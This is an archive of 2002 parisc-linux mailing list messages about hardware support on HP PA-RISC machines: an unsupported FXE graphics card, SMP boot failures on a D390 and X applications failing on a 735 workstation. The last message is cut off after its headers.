Message-ID: <3D90606C.6000500@esiee.fr>
References: <OF52713812.E62609E7-ONC1256C3E.0044B75D@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621762 14703 80.91.229.3 (22 Nov 2014 02:02:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joachim.weller@philips.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 06:56:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CDED4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 06:56:24 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP
	id 249E949C81; Tue, 24 Sep 2002 14:56:22 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP
	id B2A0749C4E; Tue, 24 Sep 2002 14:56:21 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16270

joachim.weller@philips.com wrote:

> The BusID was determined by  "cat /proc/pci" :
>   Bus  1, device   3, function  0:
>     3D controller: PCI device 103c:108b (Hewlett-Packard Company) (rev 5).
>       IRQ 258.
>       Master Capable.  Latency=255.
>       Prefetchable 64 bit memory at 0xfffffffffb000000 
> [0xfffffffffbffffff].
>       Non-prefetchable 64 bit memory at 0xfffffffffa000000 
> [0xfffffffffaffffff].
it's a FXE card, unsupported.
Only Vis-EG are.
Support for these cards is planned to be worked on ;)


HTH,

Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:24:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joachim.weller@philips.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help wanted: XF86Config (B2600)
Date: Tue, 24 Sep 2002 15:36:54 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <OF16A59BB3.066D8ECC-ONC1256C3E.004A35AA@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=_alternative 004B16BAC1256C3E_="
X-Trace: ger.gmane.org 1416621762 14704 80.91.229.3 (22 Nov 2014 02:02:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 07:36:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gw-nl3.philips.com (gw-nl3.philips.com [212.153.190.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81EB84829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 07:36:12 -0600 (MDT)
Original-Received: from smtpscan-nl2.philips.com (smtpscan-nl2.philips.com [130.139.36.22])
	by gw-nl3.philips.com (Postfix) with ESMTP id A8B0B3B768
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 15:36:07 +0200 (MET DST)
Original-Received: from smtprelay-nl1.philips.com (localhost [127.0.0.1]) 
	by smtpscan-nl2.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id PAA13452
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 15:36:06 +0200 (MET DST)
Original-Received: from hbg001soh.diamond.philips.com (e1soh01.diamond.philips.com [130.143.165.45]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id PAA00495
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 15:36:05 +0200 (MET DST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on hbg001soh/H/SERVER/PHILIPS(Release 5.0.9a |January 7, 2002) at
 24/09/2002 15:37:03,
	Serialize complete at 24/09/2002 15:37:03
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16271

This is a multipart message in MIME format.
--=_alternative 004B16BAC1256C3E_=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Merci beacoup Thibault,

> it's a FXE card, unsupported.
> Only Vis-EG are.
> Support for these cards is planned to be worked on ;)

Would it be possible to plug in a standard PC PCI Grafics card, like lets=20
say
a vanilla matrox  mgag550 and use that driver ?

Joachim Weller

Philips Medizin Systeme Boeblingen GmbH
Cardiac and Monitoring Systems (CMS) /New Product Engineering=20
Phone: {+49|0}-7031-463-1891
Fax:   {+49|0}-7031-463-2112
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F
Gesch=E4ftsf=FChrer: Dr. Werner Haas, David Russell, Wolfgang Strenzl=20
(Sprecher)
Sitz der Gesellschaft: B=F6blingen Registergericht B=F6blingen Reg.-Nr. HRB=
=20
5187=20
Hewlett-Packard Str. 2, D 71034 Boeblingen      -GERMANY-

--=_alternative 004B16BAC1256C3E_=
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


<br><font size=3D2 face=3D"Courier New">Merci beacoup Thibault,</font>
<br>
<br><font size=3D2 face=3D"Courier New">&gt; it's a FXE card, unsupported.<=
br>
&gt; Only Vis-EG are.<br>
&gt; Support for these cards is planned to be worked on ;)<br>
</font><font size=3D2 face=3D"sans-serif"><br>
Would it be possible to plug in a standard PC PCI Grafics card, like lets s=
ay</font>
<br><font size=3D2 face=3D"sans-serif">a vanilla matrox &nbsp;mgag550 and u=
se that driver ?</font>
<br><font size=3D2 face=3D"sans-serif"><br>
Joachim Weller<br>
<br>
Philips Medizin Systeme Boeblingen GmbH<br>
Cardiac and Monitoring Systems (CMS) /New Product Engineering <br>
Phone: {+49|0}-7031-463-1891<br>
Fax: &nbsp; {+49|0}-7031-463-2112<br>
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F<br>
Gesch=E4ftsf=FChrer: Dr. Werner Haas, David Russell, Wolfgang Strenzl (Spre=
cher)<br>
Sitz der Gesellschaft: B=F6blingen Registergericht B=F6blingen Reg.-Nr. HRB=
 5187 &nbsp;<br>
Hewlett-Packard Str. 2, D 71034 Boeblingen &nbsp; &nbsp; &nbsp;-GERMANY-</f=
ont>
<br>
--=_alternative 004B16BAC1256C3E_=--


From - Thu Nov 08 21:24:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help wanted: XF86Config (B2600)
Date: Tue, 24 Sep 2002 16:12:40 +0200
Organization: ESIEE
Lines: 24
Approved: news@gmane.org
Message-ID: <3D9072D8.5090402@esiee.fr>
References: <OF16A59BB3.066D8ECC-ONC1256C3E.004A35AA@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621762 14709 80.91.229.3 (22 Nov 2014 02:02:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joachim.weller@philips.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 08:15:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C514E4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 08:15:00 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP
	id 3240149C81; Tue, 24 Sep 2002 16:14:58 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP
	id BC29649C4E; Tue, 24 Sep 2002 16:14:57 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16272

joachim.weller@philips.com wrote:
> 
> Merci beacoup Thibault,
> 
>  > it's a FXE card, unsupported.
>  > Only Vis-EG are.
>  > Support for these cards is planned to be worked on ;)
> 
> Would it be possible to plug in a standard PC PCI Grafics card, like 
> lets say
> a vanilla matrox  mgag550 and use that driver ?
> 

IIRC, some are supported (weren't we talking about Voodoo2 recently ? :)
You should take a look at the m-l archive:
http://www.parisc-linux.org/mailing-lists/


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:24:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arto Jantunen <viiru@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP problems
Date: 24 Sep 2002 17:47:50 +0300
Lines: 24
Approved: news@gmane.org
Message-ID: <87fzvzphpl.fsf@welho.com>
References: <20020924060541.GA27852@dt-link.fi>
	<Pine.LNX.4.44.0209240141510.20374-100000@garibaldi.apptechsys.com>
	<20020924112830.GA27877@dt-link.fi>
	<20020924132934.F27458@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621763 14710 80.91.229.3 (22 Nov 2014 02:02:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:43 +0000 (UTC)
Cc: Jeremy Drake <jeremyd@apptechsys.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 08:48:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from posti.pp.htv.fi (posti.pp.htv.fi [212.90.64.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93D5D4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 08:48:44 -0600 (MDT)
Original-Received: from kitsune ([213.243.186.202])
	by posti.pp.htv.fi (8.11.1/8.11.1) with ESMTP id g8OElqU20884;
	Tue, 24 Sep 2002 17:47:53 +0300 (EETDST)
Original-Received: by kitsune (Postfix, from userid 1000)
	id C5755105D41; Tue, 24 Sep 2002 17:47:50 +0300 (EEST)
In-Reply-To: <20020924132934.F27458@parcelfarce.linux.theplanet.co.uk>
Original-Lines: 23
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16273

Matthew Wilcox <willy@debian.org> writes:

> On Tue, Sep 24, 2002 at 02:28:30PM +0300, Arto Jantunen wrote:
> > I have a HP9000/D390. Dual PA-8200. It doesn't boot at all with that
> > kernel or any other 64-bit kernel. Some things do suggest that it should
> > work, but it doesn't. After the kernel branching point it starts
> > scrolling FLT codes on the LCD display, but doesn't report anything on
> > the console. I have a ser pim output taken out after rebooting the box
> > if someone is interrested. I'll try building the latest CVS with 32-bit
> > and SMP and see if it's any better then the ones I have tried so far.
> 
> Do you have the CAP/MUX card installed?  (the card with the other serial
> port on it)  If so, you should enable "Serial MUX support" and make
> sure to use console=ttyB0 on the command line (ie pretend you have a K
> class machine).

Is that the so called remote admin card you told me to remove?-) If it
is, no I don't have it in there because I was told to remove it. Will
putting it back actually fix problems? Will it cause problems? It did
before. Where should I connect my console after putting it back in?

-- 
Arto Jantunen


From - Thu Nov 08 21:24:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP problems
Date: Tue, 24 Sep 2002 15:58:55 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20020924155855.I27458@parcelfarce.linux.theplanet.co.uk>
References: <20020924060541.GA27852@dt-link.fi> <Pine.LNX.4.44.0209240141510.20374-100000@garibaldi.apptechsys.com> <20020924112830.GA27877@dt-link.fi> <20020924132934.F27458@parcelfarce.linux.theplanet.co.uk> <87fzvzphpl.fsf@welho.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621763 14712 80.91.229.3 (22 Nov 2014 02:02:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:43 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Jeremy Drake <jeremyd@apptechsys.com>,
	parisc-linux@lists.parisc-linux.org
To: Arto Jantunen <viiru@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 08:58:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89A954829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 08:58:57 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17tr9L-0007eG-00; Tue, 24 Sep 2002 15:58:55 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <87fzvzphpl.fsf@welho.com>; from viiru@debian.org on Tue, Sep 24, 2002 at 05:47:50PM +0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16274

On Tue, Sep 24, 2002 at 05:47:50PM +0300, Arto Jantunen wrote:
> Is that the so called remote admin card you told me to remove?-) If it

That's the one...

> is, no I don't have it in there because I was told to remove it. Will
> putting it back actually fix problems? Will it cause problems? It did
> before. Where should I connect my console after putting it back in?

Let's leave it out for the moment -- fewer variables the better.  If you
build a serial console kernel and you're not getting any output before
the machine hangs, it's time to break out the PDC console debugger.
Edit arch/parisc/kernel/pdc_cons.c and change #undef EARLY_BOOTUP_DEBUG
to #define EARLY_BOOTUP_DEBUG.  Let us know how you get on with that.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Pacenka <spacenka@lightlink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: 24 Sep 2002 11:10:15 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <1032880215.1338.175.camel@romano>
References: <03ab01c26266$2416dea0$1f96078d@acid><20020922220323.0113cbca.varenet@esiee.
	 fr><03bf01c2627c$9a5147c0$1f96078d@acid>
	<03ed01c26280$4dfb5c90$1f96078d@acid> <1032793227.1848.222.camel@romano>
	<003001c26327$d0db42e0$1f96078d@acid> <1032806776.2868.19.camel@romano> 
	<002a01c263bf$76340820$1f96078d@acid>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621763 14715 80.91.229.3 (22 Nov 2014 02:02:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Yves Bodack <bodack@stud.fh-heilbronn.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 09:11:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from romano (romano-nyswri.cfe.cornell.edu [132.236.139.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7504C4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 09:11:42 -0600 (MDT)
Original-Received: from romano by romano with local (Exim 3.35 #1 (Debian))
	id 17trKK-0000M3-00; Tue, 24 Sep 2002 11:10:16 -0400
In-Reply-To: <002a01c263bf$76340820$1f96078d@acid>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16275

On Tue, 2002-09-24 at 07:42, Yves Bodack wrote:
> From: "Steve Pacenka" <spacenka@lightlink.com>
> Subject: Re: [parisc-linux] RTC and FB on 735/125
> 
> 
> > Could you please post your experience at getting X applications to work
> > now that you have X and a desktop?  I got basic gnome things to work
> > flawlessly, but failed on my 735/99 with xmms, xemacs, and galeon or
> > mozilla.
> Galeon/Mozilla and XMMS start up, but they don't appear on screen and give
> no errors. xemacs can't be installed, while dselect misses some dependent
> packages.

Thanks for posting the results.

Those are basically the same problems I encountered a couple of months
ago.   I also tried to compile Xemacs from source and it suffered a
runtime startup failure.   It's puzzling how the Gnome desktop and KDE
work well with all of their complex shared library and data file
loading, but these other packages fail.


> I'm running KDE, that is slow but proper. And I have a woking browser at
> last.

Aha, Konqueror.  Thanks for the hint.  I can set up my demo 735/99 with
KDE, Konqueror, and KMail.

-- thanks, SP



From - Thu Nov 08 21:24:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Pacenka <spacenka@lightlink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: 24 Sep 2002 11:15:21 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <1032880521.1338.181.camel@romano>
References: <03ab01c26266$2416dea0$1f96078d@acid><20020922220323.0113cbca.varenet@esiee.
	 fr><03bf01c2627c$9a5147c0$1f96078d@acid>
	<03ed01c26280$4dfb5c90$1f96078d@acid> <1032793227.1848.222.camel@romano>
	<003001c26327$d0db42e0$1f96078d@acid> <1032806776.2868.19.camel@romano>
	<002a01c263bf$76340820$1f96078d@acid>  <3D9052C9.3060704@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621764 14716 80.91.229.3 (22 Nov 2014 02:02:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 09:16:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from romano (romano-nyswri.cfe.cornell.edu [132.236.139.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id AFAC94829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 09:16:51 -0600 (MDT)
Original-Received: from romano by romano with local (Exim 3.35 #1 (Debian))
	id 17trPF-0000N6-00; Tue, 24 Sep 2002 11:15:21 -0400
In-Reply-To: <3D9052C9.3060704@esiee.fr>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16276

On Tue, 2002-09-24 at 07:55, Thibaut VARENE wrote:

> > From: "Steve Pacenka" <spacenka@lightlink.com>
> > Subject: Re: [parisc-linux] RTC and FB on 735/125
> > 
> >>Could you please post your experience at getting X applications to work
> >>now that you have X and a desktop?  I got basic gnome things to work
> >>flawlessly, but failed on my 735/99 with xmms, xemacs, and galeon or
> >>mozilla.
> > 

> > Galeon/Mozilla and XMMS start up, but they don't appear on screen and give
> Galeon/Mozilla is b0rken on hppa. You can try either Links or Konqueror...
> for XMMS I don't know...


Thanks for feeeback.

I got the command line alsaplayer mp3 player to work on the 735; perhaps
some front ends that use this or mpg123 could replace xmms.

-- SP



From - Thu Nov 08 21:24:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Tue, 24 Sep 2002 17:33:05 +0200
Organization: ESIEE
Lines: 24
Approved: news@gmane.org
Message-ID: <3D9085B1.5030503@esiee.fr>
References: <03ab01c26266$2416dea0$1f96078d@acid><20020922220323.0113cbca.varenet@esiee.	 fr><03bf01c2627c$9a5147c0$1f96078d@acid>	<03ed01c26280$4dfb5c90$1f96078d@acid> <1032793227.1848.222.camel@romano>	<003001c26327$d0db42e0$1f96078d@acid> <1032806776.2868.19.camel@romano>	<002a01c263bf$76340820$1f96078d@acid>  <3D9052C9.3060704@esiee.fr> <1032880521.1338.181.camel@romano>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621764 14718 80.91.229.3 (22 Nov 2014 02:02:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve Pacenka <spacenka@lightlink.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 09:35:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9096A4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 09:35:27 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP
	id 1C39149C15; Tue, 24 Sep 2002 17:35:25 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP
	id D9CF549C21; Tue, 24 Sep 2002 17:35:22 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
